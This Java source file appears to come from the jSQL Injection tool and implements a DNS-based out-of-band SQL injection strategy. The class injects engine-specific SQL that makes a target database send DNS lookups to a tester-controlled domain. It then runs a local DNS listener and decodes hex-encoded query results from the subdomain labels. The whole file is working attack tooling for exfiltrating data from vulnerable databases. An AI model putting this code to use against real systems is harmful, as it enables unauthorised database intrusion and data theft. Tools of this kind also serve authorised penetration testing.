View Javadoc
1   /*******************************************************************************
2    * Copyhacked (H) 2012-2025.
3    * This program and the accompanying materials
4    * are made available under no term at all, use it like
5    * you want, but share and discuss it
6    * every time possible with every body.
7    *
8    * Contributors:
9    *      ron190 at ymail dot com - initial implementation
10   *******************************************************************************/
11  package com.jsql.model.injection.strategy;
12  
13  import com.jsql.model.InjectionModel;
14  import com.jsql.model.accessible.ResourceAccess;
15  import com.jsql.view.subscriber.Seal;
16  import com.jsql.model.injection.strategy.blind.AbstractInjectionBit.BlindOperator;
17  import com.jsql.model.injection.engine.model.EngineYaml;
18  import com.jsql.model.suspendable.AbstractSuspendable;
19  import com.jsql.util.I18nUtil;
20  import com.jsql.util.LogLevelUtil;
21  import com.jsql.util.StringUtil;
22  import org.apache.commons.lang3.StringUtils;
23  import org.apache.logging.log4j.LogManager;
24  import org.apache.logging.log4j.Logger;
25  
26  import java.util.regex.Pattern;
27  
28  public class StrategyDns extends AbstractStrategy {
29  
30      private static final Logger LOGGER = LogManager.getRootLogger();
31      private BlindOperator blindOperator;
32      private final DnsServer dnsServer;
33  
34      public StrategyDns(InjectionModel injectionModel) {
35          super(injectionModel);
36          this.dnsServer = new DnsServer(injectionModel);
37      }
38  
39      @Override
40      public void checkApplicability() {
41          if (this.injectionModel.getMediatorUtils().preferencesUtil().isStrategyDnsDisabled()) {
42              LOGGER.log(LogLevelUtil.CONSOLE_INFORM, AbstractStrategy.FORMAT_SKIP_STRATEGY_DISABLED, this.getName());
43              return;
44          } else if (
45              StringUtils.isBlank(this.injectionModel.getMediatorUtils().preferencesUtil().getDnsDomain())
46              || !StringUtils.isNumeric(this.injectionModel.getMediatorUtils().preferencesUtil().getDnsPort())
47          ) {
48              LOGGER.log(
49                  LogLevelUtil.CONSOLE_INFORM,
50                  "Incorrect domain '{}' or port '{}', skipping Dns strategy",
51                  this.injectionModel.getMediatorUtils().preferencesUtil().getDnsDomain(),
52                  this.injectionModel.getMediatorUtils().preferencesUtil().getDnsPort()
53              );
54              return;
55          } else if (
56              StringUtils.isEmpty(this.injectionModel.getMediatorEngine().getEngine().instance().getModelYaml().getStrategy().getDns())
57          ) {
58              LOGGER.log(
59                  LogLevelUtil.CONSOLE_INFORM,
60                  AbstractStrategy.FORMAT_STRATEGY_NOT_IMPLEMENTED,
61                  this.getName(),
62                  this.injectionModel.getMediatorEngine().getEngine()
63              );
64              return;
65          }
66  
67          this.checkInjection(BlindOperator.OR);
68          this.checkInjection(BlindOperator.AND);
69          this.checkInjection(BlindOperator.STACK);
70          this.checkInjection(BlindOperator.NO_MODE);
71  
72          if (this.isApplicable) {
73              this.allow();
74          } else {
75              this.unallow();
76          }
77      }
78  
79      private void checkInjection(BlindOperator blindOperator) {
80          if (this.isApplicable) {
81              return;
82          }
83          this.blindOperator = blindOperator;
84          LOGGER.log(
85              LogLevelUtil.CONSOLE_DEFAULT,
86              "{} [{}] with [{}]...",
87              () -> I18nUtil.valueByKey(AbstractStrategy.KEY_LOG_CHECKING_STRATEGY),
88              this::getName,
89              () -> blindOperator
90          );
91          String engineSpecificWithOperator = this.injectionModel.getMediatorEngine().getEngine().instance().sqlDns(
92              String.format(
93                  "(select concat('', %s))",
94                  this.injectionModel.getMediatorEngine().getEngine().instance().getModelYaml().getStrategy().getConfiguration().getFailsafe().replace(EngineYaml.INDICE, "1")
95              ),
96              "1",
97              blindOperator,
98              false
99          );
100 
101         new Thread(this.dnsServer::listen).start();
102         this.injectionModel.injectWithoutIndex(engineSpecificWithOperator, "dns#confirm");
103         this.waitDnsResponse(2500);
104 
105         var domainName = this.injectionModel.getMediatorUtils().preferencesUtil().getDnsDomain();
106         this.isApplicable = this.dnsServer.getResults().stream().anyMatch(
107             s -> s.contains(domainName) && s.contains(StringUtil.toHex(ResourceAccess.WEB_CONFIRM_RESULT))
108         );
109         if (this.isApplicable) {
110             this.dnsServer.getResults().clear();
111             LOGGER.log(
112                 LogLevelUtil.CONSOLE_SUCCESS,
113                 "{} [{}] with [{}]",
114                 () -> I18nUtil.valueByKey(AbstractStrategy.KEY_LOG_VULNERABLE),
115                 this::getName,
116                 this.blindOperator::name
117             );
118         } else {
119             this.dnsServer.close();
120         }
121     }
122 
123     @Override
124     public void allow(int... i) {
125         this.injectionModel.appendAnalysisReport(
126             StringUtil.formatReport(LogLevelUtil.COLOR_BLU, "### Strategy: " + this.getName())
127             + this.injectionModel.getReportWithoutIndex(
128                 this.injectionModel.getMediatorEngine().getEngine().instance().sqlDns(
129                     StringUtil.formatReport(LogLevelUtil.COLOR_GREEN, "<query>"),
130                     "1",
131                     this.blindOperator,
132                     true
133                 ),
134                 "metadataInjectionProcess",
135                 null
136             )
137         );
138         this.injectionModel.sendToViews(new Seal.MarkStrategyVulnerable(this));
139     }
140 
141     @Override
142     public void unallow(int... i) {
143         this.injectionModel.sendToViews(new Seal.MarkStrategyInvulnerable(this));
144     }
145 
146     @Override
147     public String inject(String sqlQuery, String startPosition, AbstractSuspendable stoppable, String metadataInjectionProcess) {
148         new Thread(() -> this.injectionModel.injectWithoutIndex(
149             this.injectionModel.getMediatorEngine().getEngine().instance().sqlDns(
150                 sqlQuery,
151                 startPosition,
152                 this.blindOperator,
153                 false
154             ),
155             metadataInjectionProcess
156         )).start();
157         this.waitDnsResponse(5000);
158 
159         String result = this.dnsServer.getResults().getFirst();
160         var domainName = this.injectionModel.getMediatorUtils().preferencesUtil().getDnsDomain();
161         String regexToMatchTamperTags = String.format("(?i).{3}\\.([a-z0-9]*)\\..{3}\\.%s\\.", domainName);
162         var matcherSql = Pattern.compile(regexToMatchTamperTags).matcher(result);
163         if (matcherSql.find()) {
164             result = matcherSql.group(1);
165         } else {
166             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Incorrect DNS response: {}", result);
167         }
168         this.dnsServer.getResults().clear();
169         return StringUtil.fromHex(result);
170     }
171 
172     private void waitDnsResponse(int maxTime) {
173         int currentTime = 0;
174         while (this.dnsServer.getResults().isEmpty() && currentTime <= maxTime) {
175             try {
176                 int waitTime = 250;
177                 Thread.sleep(waitTime);
178                 currentTime += waitTime;
179             } catch (InterruptedException e) {
180                 LOGGER.log(LogLevelUtil.IGNORE, e, e);
181                 Thread.currentThread().interrupt();
182             }
183         }
184         if (currentTime > maxTime) {
185             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Missing DNS response after {} ms", maxTime);
186         }
187     }
188 
189     @Override
190     public void activateWhenApplicable() {
191         if (this.injectionModel.getMediatorStrategy().getStrategy() == null && this.isApplicable()) {
192             LOGGER.log(
193                 LogLevelUtil.CONSOLE_INFORM,
194                 "{} [{}] with [{}]",
195                 () -> I18nUtil.valueByKey("LOG_USING_STRATEGY"),
196                 this::getName,
197                 this.blindOperator::name
198             );
199             this.injectionModel.getMediatorStrategy().setStrategy(this);
200             this.injectionModel.sendToViews(new Seal.ActivateStrategy(this));
201         }
202     }
203     
204     @Override
205     public String getPerformanceLength() {
206         return EngineYaml.DEFAULT_CAPACITY;
207     }
208     
209     @Override
210     public String getName() {
211         return "Dns";
212     }
213 }